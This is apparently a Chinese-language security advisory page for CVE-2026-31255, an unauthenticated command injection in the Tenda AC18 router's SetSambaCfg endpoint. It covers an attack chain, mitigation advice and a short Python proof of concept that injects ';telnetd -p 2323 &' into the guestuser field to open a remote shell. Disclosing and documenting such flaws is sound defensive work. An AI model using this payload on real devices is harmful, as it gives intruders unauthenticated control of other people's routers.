IPBUF安全漏洞报告
English
CVE-2026-31255 CVSS 9.8 严重

CVE-2026-31255 Tenda AC18命令注入漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-31255
漏洞类型
命令注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC18

相关标签

命令注入Tenda路由器RCEIoTCVE-2026-31255

漏洞概述

Tenda AC18路由器V15.03.05.05_multi版本存在严重的命令注入漏洞。该漏洞位于/goform/SetSambaCfg接口中,由于系统未正确过滤guestuser参数,攻击者无需用户认证即可发送特制的恶意数据包。成功利用此漏洞可导致在目标系统上执行任意系统命令,完全控制设备,造成极高的安全风险。

技术细节

该漏洞源于Tenda AC18路由器固件版本V15.03.05.05_multi中/goform/SetSambaCfg接口的代码逻辑缺陷。在处理SMB文件共享配置请求时,后端程序直接将用户提交的HTTP POST参数guestuser传递给底层的系统命令执行函数,且未进行任何严格的输入验证或特殊字符过滤。由于该漏洞的攻击向量为网络(AV:N)且无需任何用户认证(PR:N),远程攻击者可以通过构造恶意的HTTP数据包,在guestuser字段中注入Shell元字符(如分号、管道符等)。这将导致路由器操作系统执行攻击者指定的任意系统命令,攻击者可借此获取设备的最高控制权,植入木马或窃取敏感数据。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别暴露的Tenda AC18路由器设备,确认其固件版本为V15.03.05.05_multi。
STEP 2
2. 发送恶意请求
攻击者无需登录认证,直接向目标路由器的/goform/SetSambaCfg接口发送特制的HTTP POST请求。
STEP 3
3. 触发漏洞
路由器后端处理guestuser参数时,未过滤特殊字符,将其拼接进系统命令并执行。
STEP 4
4. 获取控制权
注入的恶意命令(如开启Telnet)被执行,攻击者获得远程Shell访问权限,从而完全控制设备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/SetSambaCfg" # Malicious payload to execute a command (e.g., reboot or telnet) # Using a semicolon to chain commands payload = ";telnetd -p 2323 &" data = { "guestuser": payload, # Other required parameters may be needed depending on the form structure } try: response = requests.post(target_url, data=data, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if telnet is running on port 2323.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Tenda AC18 V15.03.05.05_multi

防御指南

临时缓解措施
建议用户立即检查路由器固件版本,如果存在漏洞,应断开设备外网连接并升级官方修复补丁。在未修复前,可通过访问控制列表(ACL)严格限制对路由器管理接口的来源IP,防止外部攻击者利用该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表